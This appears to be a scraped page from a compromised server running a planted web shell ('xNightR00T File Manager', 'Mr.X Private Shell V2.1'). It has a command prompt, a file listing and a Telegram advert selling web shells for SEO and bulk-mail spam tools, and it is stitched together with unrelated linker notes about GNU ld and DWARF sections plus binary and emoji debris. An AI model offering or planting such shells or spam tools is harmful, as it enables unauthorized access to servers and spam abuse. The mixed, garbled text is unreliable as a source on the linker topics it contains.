xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
- old GNU ld's behavior wrt DSOs seems to be severely broken.

     y.o reference foo()
     y1.o defines foo(), references bar()
     y2.o defines bar()
     libbar.so defines bar()

  Running

     gcc -o y y.o -lbar y1.o y2.o

  uses the bar() definition from libbar.so and does not mention the definition
  in y2.o at all (no duplicate symbol message).  Correct is to use the
  definition in y2.o.


     y.o reference foo()
     y1.o defines foo(), references bar()
     y2.o in liby2.a defines bar()
     libbar.so defines bar()

  Running

     gcc -o y y.o -lbar y1.o -ly3

  has to use the definition in -lbar and not pull the definition from liby3.a.


- the old linker follows DT_NEEDED entries and adds the objects referenced
  this way which define a symbol which is needed as a DT_NEEDED to the
  generated binary.  This is wrong since the DT_NEEDED changes the search
  path in the object (which is breadth first).


- the old linker supported extern "C++", extern "java" in version scripts.
  I believe this implementation is severly broken and needs a redesign
  (how do wildcards work with these languages*?).  Therefore it is left
  out for now.


- what should happen if two sections in different files with the same
  name have different types and/or the flags are different


- section names in input files are mostly irrelevant.  Exceptions:

  .comment/SHT_PROGBITS		in strip, ld

  .debug		\
  .line			|
  .debug_srcinfo	|
  .debug_sfnames	|
  .debug_aranges	|
  .debug_pubnames	|
  .debug_info		|
  .debug_abbrev		|
  .debug_line		|
  .debug_abbrev		 >	DWARF sections in ld
  .debug_line		|
  .debug_frame		|
  .debug_str		|
  .debug_loc		|
  .debug_macinfo	|
  .debug_weaknames	|
  .debug_funcnames	|
  .debug_typenames	|
  .debug_varnames	/

  Sections created in output files follow the naming of special section
  from the gABI.

  In no place is a section solely indentified by its name.  Internal
  references always use the section index.

Filemanager

Name Type Size Permission Actions
AUTHORS File 53 B 0644
COPYING File 34.32 KB 0644
ChangeLog File 12.3 KB 0644
NEWS File 32.71 KB 0644
NOTES File 1.93 KB 0644
README File 1.03 KB 0644
THANKS File 193 B 0644
TODO File 5.32 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1